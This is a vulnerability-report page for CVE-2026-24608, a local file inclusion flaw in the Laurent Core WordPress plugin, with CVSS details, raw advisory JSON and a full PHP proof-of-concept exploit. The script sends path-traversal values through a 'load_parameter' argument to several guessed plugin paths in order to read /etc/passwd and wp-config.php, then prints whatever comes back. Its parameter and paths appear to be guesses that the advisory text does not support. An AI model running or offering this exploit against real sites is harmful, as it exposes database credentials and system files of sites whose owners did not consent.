Security Vulnerability Report
中文
CVE-2026-24608 CVSS 7.5 HIGH

CVE-2026-24608

Published: 2026-01-23 15:16:20
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Laurent Core laurent-core allows PHP Local File Inclusion.This issue affects Laurent Core: from n/a through <= 2.4.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Laurent Core插件 所有版本 <= 2.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2026-24608 PoC - Laurent Core Plugin Local File Inclusion * Target: Elated-Themes Laurent Core WordPress Plugin <= 2.4.1 * Vulnerability: PHP Local File Inclusion via load_parameter parameter * * Usage: php cve_2026_24608_poc.php <target_url> [target_file] * Example: php cve_2026_24608_poc.php http://target.com /etc/passwd */ $targetUrl = $argv[1] ?? ''; $targetFile = $argv[2] ?? '/etc/passwd'; if (empty($targetUrl)) { echo "Usage: php cve_2026_24608_poc.php <target_url> [target_file]\n"; echo "Example: php cve_2026_24608_poc.php http://target.com /etc/passwd\n"; exit(1); } // Common vulnerable endpoints for Laurent Core plugin $vulnerablePaths = [ '/wp-content/plugins/laurent-core/includes/post-types/shortcodes/templates/template-parts/', '/wp-content/themes/laurent-core/includes/', '/wp-content/plugins/laurent-core/', '/' ]; // Sensitive files to read $targetFiles = [ $targetFile, '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../etc/hostname', '../wp-config.php' ]; echo "[*] CVE-2026-24608 PoC - Laurent Core LFI\n"; echo "[*] Target: {$targetUrl}\n"; echo "[*] Target file: {$targetFile}\n\n"; foreach ($vulnerablePaths as $path) { foreach ($targetFiles as $file) { $url = rtrim($targetUrl, '/') . $path . '?load_parameter=' . urlencode($file); echo "[*] Testing: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 && !empty($response)) { echo "[+] Potential vulnerability found!\n"; echo "[+] File content:\n"; echo "----------------------------------------\n"; echo substr($response, 0, 1000); echo "\n----------------------------------------\n"; } } } echo "\n[*] Scan completed.\n"; // Alternative: Direct HTTP request example // GET /wp-content/plugins/laurent-core/includes/post-types/shortcodes/templates/template-parts/?load_parameter=../../../../../../etc/passwd ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24608", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:19.707", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Laurent Core laurent-core allows PHP Local File Inclusion.This issue affects Laurent Core: from n/a through <= 2.4.1."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la sentencia include/require en programa PHP ('Inclusión Remota de Ficheros PHP') en Elated-Themes Laurent Core laurent-core permite la Inclusión Local de Ficheros PHP. Este problema afecta a Laurent Core: desde n/a hasta &lt;= 2.4.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/laurent-core/vulnerability/wordpress-laurent-core-plugin-2-4-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}